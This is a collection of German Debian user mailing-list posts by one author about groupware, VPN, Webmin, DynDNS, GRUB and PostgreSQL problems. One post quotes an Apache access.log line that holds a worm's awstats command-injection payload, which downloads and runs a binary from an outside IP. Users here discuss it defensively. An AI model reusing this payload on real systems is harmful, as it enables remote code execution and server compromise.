eGroupware und Kontact - Konnektor
Moin alle zusammen, auf meinem Server habe ich eGroupware installiert und es läuft - bis auf MyDMS sehr zufriedenstellend. Nun wollte ich Kontact dazu bringen, die Kontakte und den Kalender aus eGroupware zu benutzen. In eGroupware ist ein php-Script enthalten(/egroupware/xmlrpc.php), das den Kontakt zu Kontact herstellt. Ich habe Kontact gesagt, wo das Script liegt und eGroupware so konfiguriert, dass es über das Script mit Kontact zusammenarbeiten soll. Sobald Kontact(Kontakte) mit eGroupware Verbindung aufnehmen will, erscheint 3x ein Fenster mit der Fehlermeldung Server sendet Fehler -1: Ungültige XML Markierungen empfangen: unexpected end of file bei 1:1 Wenn ich den Kalender in Kontact aufrufe erhalte ich folgende Meldung: Ihre Frei/Belegt-Listen lassen sich nicht zur Adresse '192.168.X.Y' hochladen. Es könnte ein Problem mit den Zugriffsrechten geben, oder Sie haben vielleicht eine falsche URL eingegeben. Die Systemnachricht lautet: Ungültige Adresse: 192.168.X.Y.. Bitte überprüfen Sie die URL oder wenden Sie sich an Ihren Systemadministrator. Die URL ist definitiv richtig. Es kommt auch vor, das ein Autorisierungsdialog erscheint mit der Aufforderung mich mit Usernamen und Passwort bei eGroupware anzumelden. Sobald ich das tue, meldet mir ein Fenster, das die Anmeldung fehlgeschlagen ist. Nach mehreren Versuchen über Kontact ist die Anmeldung über das Webinterface an eGroupware für die voreingestellte Zeit gesperrt. Das Problem liegt offensichtlich in der Authentifizierung. Kennt vielleicht jemand einen Lösungsweg? Tante G. hat mir nicht weitergeholfen. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Mal wieder Groupware
Moin alle zusammen, ich suche eine Groupware, in der binäre Objekte - sprich: Dateien - eingebettet werden können. Ich kenne so etwas aus der Vergangenheit mit Autschlook 2000, als noch Windows auf den PCs installiert war. Die einzubettenden Dateien sollen per Drag Drop auf jeden Fall Personen aus der Adresskartei eindeutig zugeordnet werden. Danke im voraus für eure Tips. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: VPN
Andreas Kretschmer schrieb: Was ist 'MAC-Maschine'? Das mit dem Apfel-Logo OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen. Schade. Ja. Am liebsten würde ich das Wort mit dem ei in der Mitte schreien. Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal gemacht? Über jeden Tipp würde ich mich freuen. Die 5 Netzkarten sind nicht das Problem, das Problem ist: - IPSec != IPSec. Da gibt es zu viele Implementierungen und Protokolle. - In Deiner Konstellation wirst Du mit iptables einiges regeln müssen, leider ist das IPSEc von Linux 2.6 abartig krank: im Gegensatz zu FreeSWAN unter 2.4 hast Du keine virtuellen ipsecX-Devices. Oh Himmel, auf was muß ich mich da einlassen... Ich würde klar OpenVPN favorisieren, auch wenn ich es selbst praktisch noch nie verwendet habe. Aber es ist, nach all dem, was ich dazu weiß, hinreichend abgehangen, einfacher als IPSec zu konfigurieren und besser zwischen unterschiedlichen Systemen einsetzbar. Falls da ein (bezahlter ?) IPSEc-Client schon da ist, auch nicht schlimm, mit OpenVPN gibt es keine extra-Kosten, die Lizenz des Clients könnte man noch verklickern... Gut, das kann ich argumentieren: Entweder IPSec für vieeele Stunden oder OpenVPN für weniger Stunden. Dem Kunden wurde schon eine Lösung eines Mitbewerbers angeboten, aber die war ihm zu teuer. Er hat auch kein Problem damit, einen passenden Hardwarerouter zu kaufen, der das kann was er braucht, wenn seine Kosten dadurch im begrenzten Rahmen halten kann. Was ihn interessiert ist einzig die Funktionalität, nichts anderes. Kennt jemand von euch was passendes? Gruß - Harald Andreas -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: VPN
Joerg Zimmermann schrieb: Hi, Harald Tobias wrote: Moin liebe Debianer, ich stehe vor folgender Aufgabe und traue mich nicht so richtig ran: In einem Netzwerk soll ein VPN eingerichtet werden. In diesem Netz steht ein Router mit Firewall (z.Z. unter BSD, kann aber durch Debian abgelöst werden). In diesem Router stecken 5 Netzwerkkarten. Die erste Karte hängt am DSL-Zugang, die vier anderen Karten sind jeweils für ein Subnetz. An jedem Subnetz hängt eine andere Firma. Alle vier Firmen sollen die Möglichkleit erhalten, externe Mitarbeiter via VPN ins lokale Subnetz unter IP 192.168.a., 192.168.b., 192.168.c. und 192.168.d. zu lassen. Das VPN soll mit IPSec realisiert werden, weil a) der Kunde will das so, weil würde ich als Kunde auch wollen. b) (lt. Kundenaussage) ein IPSec-Client auf einer MAC-Maschine sowieso vorhanden ist. OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen. Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal gemacht? Über jeden Tipp würde ich mich freuen. IPSec ist der Standard für sowas und in komplexeren Umgebungen allererste Wahl. OpenVPn ist wesentlich einfacher aufzusetzen und eignet sich gut für kleinere Umgebungen. Allerdings skaliert es nicht so gut wie IPSec und unterliegt gewissen Beschränkungen. Aber das ist ja auch nicht gewünscht. Da der Router ja schon ein BSD ist, wäre interessant welches. Ich bin mir fast sicher, daß es OpenBSD ist. Bei Linux bekommst Du spätestens mit den Filterregeln Probleme. Es gibt zwar dafür mittlerweile Patches (für netfilter), ich fand es aber sehr hackelig. Meine letzte Erfahrung unter Linux mit IPSec war allerdings ein 2.6.(8?)'ter Kernel. Die sicherste und IMHO einfachste Lösung ist eine OpenBSD-Maschine. OpenBSD kann alles out of the Box was Du benötigst. Die Einrichtung von ISAKMPD ist sehr übersichtlich, erinnert an die alten ini-Dateien von Windows. Einzig der PF-Filter ist für Linuxer etwas gewöhnungsbedürftig. Glücklicherweise gibt es hierfür aber ein sehr gutes Linuxtool, FWBuilder. Ich würde Dir daher zu einer OpenBSD-Lösung raten. Der Kernel kann NAT-Traversal und Du brauchst nur den ISAKMPD und den Pf zu konfigurieren. Nicht zu erwähnen, wird sowas mit X509 Certificates aufgesetzt. Für genauere Infos melde Dich einfach nochmal. Ja, bitte gib mir genauere Infos. Von BSD weiß ich das es das gibt und das es ein Unix-artiges Betriebssystem ist. Mehr nicht. :-[ Dann darf ich mich heute und morgen (Karfreitag) auch noch mit BSD beschäftigen. Mein Familie wird sich freuen. Das ganze eilt und kann *nur* am Wochenende oder Feiertagen durchgeführt werden. Sch. Was tut man nicht alles für Geld. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
VPN
Moin liebe Debianer, ich stehe vor folgender Aufgabe und traue mich nicht so richtig ran: In einem Netzwerk soll ein VPN eingerichtet werden. In diesem Netz steht ein Router mit Firewall (z.Z. unter BSD, kann aber durch Debian abgelöst werden). In diesem Router stecken 5 Netzwerkkarten. Die erste Karte hängt am DSL-Zugang, die vier anderen Karten sind jeweils für ein Subnetz. An jedem Subnetz hängt eine andere Firma. Alle vier Firmen sollen die Möglichkleit erhalten, externe Mitarbeiter via VPN ins lokale Subnetz unter IP 192.168.a., 192.168.b., 192.168.c. und 192.168.d. zu lassen. Das VPN soll mit IPSec realisiert werden, weil a) der Kunde will das so, weil b) (lt. Kundenaussage) ein IPSec-Client auf einer MAC-Maschine sowieso vorhanden ist. OpenVPN wurde von mir vorgeschlagen, aber wg. b) verworfen. Hat jemand von euch so etwas mit mehreren Netzwerkkarten schon mal gemacht? Über jeden Tipp würde ich mich freuen. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Webmin, komisches Verhalten
Moin alle zusammen, ich möchte 2 Debian-Rechner in einem lokalen Netzwerk so einrichten, daß jeder auf dem anderen via Webmin administrieren kann. Nun habe ich auf beiden Webmin (1.180) eingerichtet und jeweils den anderen Rechner als Webmin-Server registriert. Danach habe ich versucht von einem mit Firefox auf dem anderen Webmin aufzurufen (Webmin-Webminserver-server2:1) Was dann passierte, verstehe ich nicht, denn statt, wie erwartet, die Webmin Startseite oder wenigstens eine Fehlermeldung zu erhalten, wurde im Browser die Seite http://www.made-in-china.com/products/show/freemember/prod/jM1Mjk1M/mic/Arts_Crafts_Ceramics_Cup,_Saucer(TCS002).html aufgerufen. Offensichtlich ein chinesischer Porzellanladen. Sehr merkwürdig. Danach auf dem anderen Server mit Firefox den ersten Server aufgerufen mit Webmin-Webminserver-server1:1 Hier passiert ebenfalls etwas total unerwartetes. Aber statt des Porzellanladens kriege ich hier ein Downloadfenster. Die Datei server2-Station.xls von der Domain http://www.cmaauctions.com wird als Downloaddatei angezeigt. In servername fehlt jedoch ein darin enthaltener Bindestrich. Kann mir bitte jemand helfen, Webmin so zu konfigurieren, daß ich von einem zum anderen vernünftig arbeiten kann? Vielen Dank! Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Webmin, komisches Verhalten
Hallo Christian, das ist in beiden Fällen mit Firefox zuverlässig reproduzierbar. Auf das Autovervollständigen bin ich gar nicht gekommen. Jetzt habe ich es mit der IP-Adresse versucht. Da klappt alles vorzüglich. Offensichtlich werden die Hostnamen bei mir nicht aufgelöst. Merkwürdig finde ich nur, daß Webmin bei der Serversuche die Hostnamen und nicht die IPs anzeigt. 10 Minuten vergehen. Das mit dem automatischen Vervollständigen habe ich nun ausgeschaltet. Nun erfolgt auch gleich der direkte Aufruf über den Hostnamen. Schade nur, daß das mit dem ausfüllen der Formulardaten auf Websites nicht mehr automatisch geht. :-( Das finde ich eigentlich ganz nützlich. Herzlichen Dank, Du hast mich auf den richtigen Weg gebracht. Gruß nach ($WOHNORT) Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Apache access.log
Moin alle zusammen, ich bitte mal wieder um Rat. Nachdem mein Webserver nun läuft, dank eurer Hilfe wg. ddclient, habe ich in der access.log jede Menge Einträge die ich nicht verstehe. Erst mal weiß ich gar nicht wieso ich so viele (Hunderte täglich) Zugriffe habe, denn die DynDNS-Domain ist nur 4 Personen bekannt. Laut Whois habe ich aber Zugriffe aus Deutschland, China, Japan, Italien, Spanien, Frankreich und weiteren Ländern. Sind dort Hacker beim ausprobieren oder was passiert da? Wenn ich die Einträge richtig deute, wird häufig versucht auf Dateien und Verzeichnisse zuzugreifen, die jedoch gar nicht existieren. Beispiele: 82.234.215.180 - - [15/Nov/2005:03:31:35 +0100] GET /awstats/awstats.pl?configdir=|echo;echo%20YYY;cd%20%2ftmp%3bwget%2024%2e224%2e174%2e18%2flisten%3bchmod%20%2bx%20listen%3b%2e%2flisten%20216%2e102%2e212%2e115;echo%20YYY;echo| HTTP/1.1 404 288 - Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;) 82.83.223.39 - - [15/Nov/2005:09:23:05 +0100] OPTIONS / HTTP/1.1 200 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600 82.251.49.61 - - [15/Nov/2005:12:19:01 +0100] GET / HTTP/1.0 200 1292 - - 82.253.228.245 - - [15/Nov/2005:12:31:17 +0100] OPTIONS / HTTP/1.1 200 1304 - Microsoft-WebDAV-MiniRedir/5.1.2600 Auf meinem Server laufen zwei Anwendungen, die auch nur für einen sehr begrenzten Personenkreis zugänglich sind. Versucht im ersten Beispiel evtl. jemand Rechte zu verändern? Kann mir vielleicht jemand erklären was da passiert? Vielen Dank und noch ein schönes Restwochenende. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Apache access.log
Hallo alle zusammen, der Einfachheit halber hier zusammengefaßt als Antwort auf eure Stellungnahmen. Mit der Domain war schon klar, als IP ist die natürlich bekannt bzw. einfach vorhanden. Gott sei Dank habe ich eine dynamische IP-Zuweisung, so daß sich wahrscheinlich keiner dauerhaft auf mein System einschießen kann. Nach den Erklärungen ist mir klar geworden, daß die Angriffe zufällig stattfinden. Peter Blancke: Auf meinem Server laufen zwei Anwendungen, die auch nur für einen sehr begrenzten Personenkreis zugänglich sind. Welche? Und welches Sicherungskonzept hast Du fuer diese Anwendungen vorgesehen? Nun ja, es handelt sich um eine genealogische Datenbank und um eine Bildergalerie (Familienfotos). Na ja, ich muß zugeben, daß ich dort kein besonderes Sicherheitskonzept entwickelt habe. Ich sehe halt zu, daß der Zugang nur wenige meiner Verwandten per Paßwort erlaubt ist. Keiner von denen weiß vom Computer mehr als jeder andere Durchschnitts-Computer-Benutzer. Eher weniger. Die vorgegebenen Paßwörter der Anwendungen wurden von mir durch andere Paßwörter ersetzt. Die Sicherheitshinweise aus den Readme's und die damit verbundenen Maßnahmen habe ich befolgt. Auch das DBMS hat keine Default-Paßwörter mehr, sondern von mir wurden eigene Paßwörter vergeben. Updates fahre ich wöchentlich auf allen meinen Linux-Rechnern. Updates für Windows führe ich nicht durch. Isch 'abe gar kein Windows! Daniel Leidert Linux/Lupper.worm: Der ist es offensichtlich, der meinen Server infiltrieren will. Als ich mir eben die Liste der zu infizierenden Verzeichnisse und Dateien ansah, sah es wie eine Kopie meiner access.log aus. Keines der Verzeichnisse und Dateien existiert auf meinem Server, und das ist auch gut so. Nun gut, vielen Dank für die Auskünfte, Ihr habt mir geholfen besser zu verstehen. Ich wünsche euch allen ein schönes Restwochenende. Tschüß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: DynDNS - Problem mit Router
Reinhold Plew schrieb: eventuell läuft da gar nichts falsch. Bei mir wird auch sofort die korrekte IP bei dyndns eingetragen, aber die Aktualisierung der Nameserver im Internet dauert einige Zeit, d.h., dyndns kennt meine aktuelle IP, wenn ich aber von einem meiner Server im Internet meine URL erreichen möchte, wird sie noch auf die alte IP aufgelöst. Gruss Reinhold Hallo Reinhold, die IP war bei meinem ersten Posting schon 14 Stunden alt. Trotzdem danke. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Solved: DynDNS - Problem mit Router
Moin alle zusammen, mit der Hilfe von Thomas Trueten habe ich das Problem gelöst. Vielen Dank, Thomas, für Deine Hilfe. Zunächst ist mir bei der Beantwortung des Postings von Thomas ein kleines Versehen unterlaufen. Firefox hat für die Antwort die Mailadresse von Thomas, statt der für die Liste genommen. Deswegen hat Thomas sicherlich auch per PM an mich geantwortet. Mit den folgenden Einträgen in die ddclient.cont funktioniert es wie geschmiert: pid=/var/run/ddclient.pid protocol=dyndns2 use=web,web=checkip.dyndns.org/,fw-skip=Current IP Address: server=members.dyndns.org login=DeinLoginName password=DeinPasswort DeineAdresseBeiDynDNS.ORG Der Rest aus der .conf kann gelöscht oder auskommentiert werden. Die Zeile use=web. muß tatsächlich so wie sie oben steht in die ddclient.conf. Ich habe, nachdem ich das Posting von Thomas gelesen habe, den Fehler begangen, Current IP Address: durch die interne IP meines Servers zu ersetzen. Interpretationsfehler von mir. Die letzten drei Zeilen müssen aber mit den persönlichen Einträgen angepaßt werden. Eine Frage habe ich jedoch noch. Vielleicht hilft mir noch jemand. Die Zeile Daemon=300 sorgt doch dafür, daß die IP alle 300 Sekunden aufgefrischt wird. Kann der Eintrag in der .conf unterbleiben oder muß ich jetzt manuell durch ein Restart von ddclient durchführen? Zusätzlich zu der o. g. Konfiguration habe ich auch im Router die Funktionen für DynDNS aktiviert. Dank an alle die sich mit meinem Problem beschäftigt haben. Einen schönen Tag wünsche ich euch allen. Gruß Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
DynDNS - Problem mit Router
Moin alle zusammen, vielleicht ist mein Anliegen OT, falls ja bitte ich um einen Hinweis auf eine besser geeignete NG. Folgende Situation: Ich möchte per DynDNS einen Webserver ins Internet bringen. Dazu habe ich mich brav bei DynDNS angemeldet und die jeweils korrekte IP meines Routers wird dort in der Konfiguration auch angezeigt. Auf dem Server habe ich ddclient installiert und konfiguriert (/etc/ddclient.conf). Als Router verwende ich ein Netgear RT311. Auf diesem habe ich, wie bei DynDNS beschrieben, via telnet die Filter Set Configuration nach Beschreibung angepaßt. Der Apache Webserver läuft, die Datenbank läuft, php läuft und die Anwendung läuft auch. Alles einwandfrei. Über das lokale Netz kann ich mit der URL, die ich bei DynDNS habe, die Anwendung aufrufen und alles funktioniert so wie ich es erwarte. Leider ist das aber auch schon alles, denn von außen wird die URl nicht gefunden. Mehrere Freunde haben das freundlicherweise für mich getestet. Falls erforderlich poste ich auch die Conf-Dateien. Google habe ich schon bemüht, leider ohne Erfolg. 8-[ Hat jemand einen Tip für mich, wie ich den Webserver ins Web kriege? System: Knoppix Kernel 2.6.11 Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: DynDNS - Problem mit Router
Jochen Schulz schrieb: Was heißt die URL wird nicht gefunden? Connection refused? 404? Timeout? Host not found? Mozilla sagt dann: www.meineurl.dyndns.org konnte nicht gefunden werden. Bitte überprüfen Sie den Namen und versuchen Sie es nochmals. Mein Tip, denn davon hast Du bisher nichts erwähnt: wenn der Rechner mit dem Apachen hinter dem Router hängt, mußt Du natürlich auf dem Router ein Portforwarding einrichten. Der Webserver ist ja vom Internet gar nicht direkt erreichbar, also mußt Du dem Router sagen leite alles, was von außen auf Port 80 ankommt an die interne IP a.b.c.d, ebenfalls Port 80, weiter. Als Router verwende ich ein Netgear RT311. Auf diesem habe ich, wie bei DynDNS beschrieben, via telnet die Filter Set Configuration nach Beschreibung angepaßt. Das Port-Forwarding habe ich mit den korrekten Werten auf dem Nettgier eingerichtet. Wie das für Deine Netgeardose geht, wirst Du wahrscheinlich im Handbuch finden. Nein, als .pdf auf www.netgear.com Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: DynDNS - Problem mit Router
Claus Malter schrieb: Mozilla sagt dann: www.meineurl.dyndns.org konnte nicht gefunden werden. Bitte überprüfen Sie den Namen und versuchen Sie es nochmals. Sch! Mein Fehler, es sollte heißen http://meineurl.dyndns.org Tut mir leid. Als ich mit dem Notebook per Modem ins Internet ging, um unter Umgehung das LAN das zu testen, habe ich noch mal meinen Account bei DynDNS.com aufgerufen. Dabei habe ich bemerkt, daß die angezeigte IP in MyServices nicht die meines Routers ist, sondern die IP der mit dem Modem aufgebauten Verbindung war. Mit der URL bekomme ich nach wie vor keinen Zugriff auf meinen Server, weil sie offensichtlich nicht aufgelöst wird. Mit der IP, die ich dynamisch von meinem Provider erhalte komme ich auf den Server. Alles ist dann so wie es sein soll, der Router routet. Was läuft falsch? Ich bin völlig ratlos. Ist vielleicht doch ein Fehler in meiner ddclient.conf? Jetzt stellt sich die Frage woher das 'www' her kommt? Hast du bei dyndns.org die Option Enable Wildcard gesetzt? Wenn nicht, brauchst du einen Nameserver, der den Bereich 'www' auflöst. Enable Wildcard ist aktiviert. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: HD zu gro fr BIOS, Bootprobleme
Moin, jetzt habe ich es geschafft den Rechner zum booten zu überreden. Als Bootplatte habe ich eine 2,3 GB HD mit 2.000 Cyl wie folgt partitioniert: 1. Partition: /boot 300 MB 2. Partition: /swap 2 GB Nun klappts auch mit Grub. Was mich beschäftigt ist die Frage, warum Grub anscheinend auch Begrenzungen bzgl. der Cylinderzahl auf der HD hat. Eigentlich auch egal. Ich habs zum laufen gekriegt und das reicht mir. Danke nochmals für eure Tipps. Gruß aus CeBIT-City Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: HD zu gro fr BIOS, Bootprobleme
Hallo Michelle, Uwe und Florian, zunächst einmal sorry für meine späte Rückmeldung, aber am Wochenende gehöre ich meiner Familie Heute habe ich das BIOS-Update installiert und einen neuen Installationsversuch gestartet. Es ist keine Verbesserung der Situatiuon eingetreten. Auch der Umweg, zuerst eine DOS-Partition einzurichten und dann per loadlin zustarten ging schief. Na ja, einen Versuch war es wert. Ich werde noch einen Versuch durchführen, wobei ich LILO auf der genannten DOS-Partition installiere. Die Kernelversionen 2.2, 2.4 und 2.6 habe ich bereits bei meinen vorherigen Versuchen alle durchprobiert. Falls es nicht klappen sollte muß ich mir dann doch wohl ein neueres Board zulegen. Schade, so kann ich die vorhandenen Resourcen leider leider nicht nutzen. (schnief) Was ich nicht begreife ist, daß die Installation eigentlich jedesmal (augenscheinlich) einwandfrei klappte. Weiter macht es mich stutzig, daß ich Knoppix über CD auch starten kann. Alle Platten werden sowohl bei der Installation eines Linux als auch durch Knoppix eindeutig erkannt, identifiziert und zur Mitarbeit gebracht. Darum bin ich der Meinung, daß der IDE-Controller entweder die Platten korrekt verarbeitet oder dieser unter Linux keine Rolle spielt. Na ja, es gibt Schlimmeres als das etwas nicht so funktioniert wie man es will. Vielen Dank noch mal für eure Tips. Auf jeden Fall werde ich euch noch von meinem angekündigten letzten Versuch berichten. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
HD zu gro fr BIOS, Bootprobleme
Moin, ich versuche schon seit Tagen erfolglos auf einem ziemlich alten Rechner (das Board ist von 1999 mit Intel Celeron 433 MHz) ein Linux zu installieren. Versucht habe ich es mit Woody und Sarge, auch SuSE 9.0 habe ich versucht. Die Installation von CD-ROM verläuft immer erfolgreich, jedoch beim ersten Bootversuch von HD meldet Grub Fehler. Auf http://www.gnu.org/software/grub/manual/grub.html#Stage1.5%20errors habe ich sinngemäß festgestellt, dass das BIOS des PC die Platten nicht erkennen kann. Meldung: GRUB Loading stage1.5 GRUB loading, please wait... Error 18 Bei der automatischen HD-Erkennung hat sich auch herausgestellt, dass die 80 GB und die 160 GB Platten nicht erkannt werden. Unschön und schlecht. Linux kann aber doch Platten unabhängig vom BIOS erkennen und damit arbeiten... Dann habe ich eine 30 GB Maxtor eingebaut, die dann vom BIOS korrekt erkannt wurde. Aber auch dann geht nichts. Grub meldet Fehler 18, beschrieben auf o. g. Link. Auch der Versuch, eine HD mit 1,2 GB zu verwenden schlug genauso fehl. Hierbei habe ich diese Platte als hda komplett als /boot konfiguriert und / auf die 30er Platte auf hdb gelegt. Die 160er Platte sollte /home sein. Auch hier kein Erfolg. Ach ja, das Board ist ein MS-6153 Ver. 1.0 mit Award BIOS v4.51PG. Unter http://www.msi-computer.de/produkte/main_idx_view.php?Prod_id=113Seite=BIOS kriege ich nur folgende Auskunft für ein BIOS-Update. Das hilft bei der Erkennung großer Platten wahrscheinlich wenig: - Unterstützung für das booten von Windows NT / Novell NetWare. - Unterstützung für Intel(R) Coppermine(R) CPU (nur mit blauem Aufkleber auf I/O Chip). Hat vielleicht jemand von euch eine Idee, wie ich den Rechner zum laufen kriege? Möglicherweise kann ja ein Bootmanager wie z. B. Bootmagic Abhilfe schaffen. Falls das die einzige Möglichkeit sein sollte bitte ich um Empfehlungen von OSS. Bootmagic besitze ich nicht und nur für den PC will ich mir das nicht kaufen. Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Sarge und KDE Problem
Thomas Schönhoff schrieb: Wie/wo kann ich einstellen, dass normalerweise KDE gestartet wird? 1) su 2) Passwort eingeben 3) dpkg-reconfigure kdm und die Sache sollte rollen. Hallo Thomas, genau das hat geholfen. Vielen Dank auch an alle anderen, die mir einen Tip gegeben haben. Ich wünsche euch allen noch einen schönen und erfolgreichen Tag! Gruß aus Hannover Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Sarge und KDE Problem
Moin, letzte Woche habe ich Sarge auf meinem Rechner installiert. Leider muß ich bei jedem Einloggen vorher bei Session KDE auswählen, damit KDE startet. Wenn ich das nicht tue, startet immer Gnome. Wie/wo kann ich einstellen, dass normalerweise KDE gestartet wird? Vielen Dank für Hilfe! Gruß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Postgresql bricht bei der Konfiguration mit Fehlermeldung ab
Gerd Terlutter schrieb: Harald Tobias wrote: Torsten Schneider schrieb: On Fri, Jul 02, 2004 at 11:19:34AM +0200, Harald Tobias wrote: Database error: Link-ID == false, connect failed PostgreSQL Error: 1 () Ist denn postgres überhaupt installiert und läuft? Postgres lauscht auf Port 5432/tcp. Hallo Torsten, vielen Dank für Deinen Tip. PostgreSQL ist installiert und läuft auch. Mit Webmin kann ich DBs anlegen, User verwalten etc. Daran kann es nicht liegen. Was kann es damit auf sich haben: The fix is of course to add one more addslashes to phpgroupware/wiki/setup/default_records.php. Link: http://groups.google.de/groups?q=class.db_pgsql.inc.php+on+line+485hl=delr=ie=UTF-8selm=24zxG-2F0-31%40gated-at.bofh.itrnum=1 Gruß - Harald Du könntest dich auf entsprechender Website umsehen, die haben u.a. eigene debs und 'ne Mailingliste. http://lists.gnu.org/mailman/listinfo/phpgroupware-developers http://debs.phpgroupware.org/ Die debs weichen aber von den originalen etwas ab, da bestimmte Einstellungen in den Konfigurationsdateien vorgenommen werden müssen. Also gut überlegen, ob du wichtige Einstellungen für bestehende Skripte brauchst und evtl. mit lokalen configs arbeiten. Gruss, Gerd Hallo Gerd, vielen Dank für Deine Tips, aber ich bin auch ohne weitergekommen. Vorhin habe ich den Server neu booten müssen und nach dem Reboot hatte ich keine Problem mehr mit PHPGroupware. Ich konnte sofort damit arbeiten, auch remote. Das war wie bei Windows: Nach einem Reboot funktionierts. Frag? nicht warum, es geht jetzt einfach. Sehr seltsam. Tschüß - Harald -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Postgresql bricht bei der Konfiguration mit Fehlermeldung ab
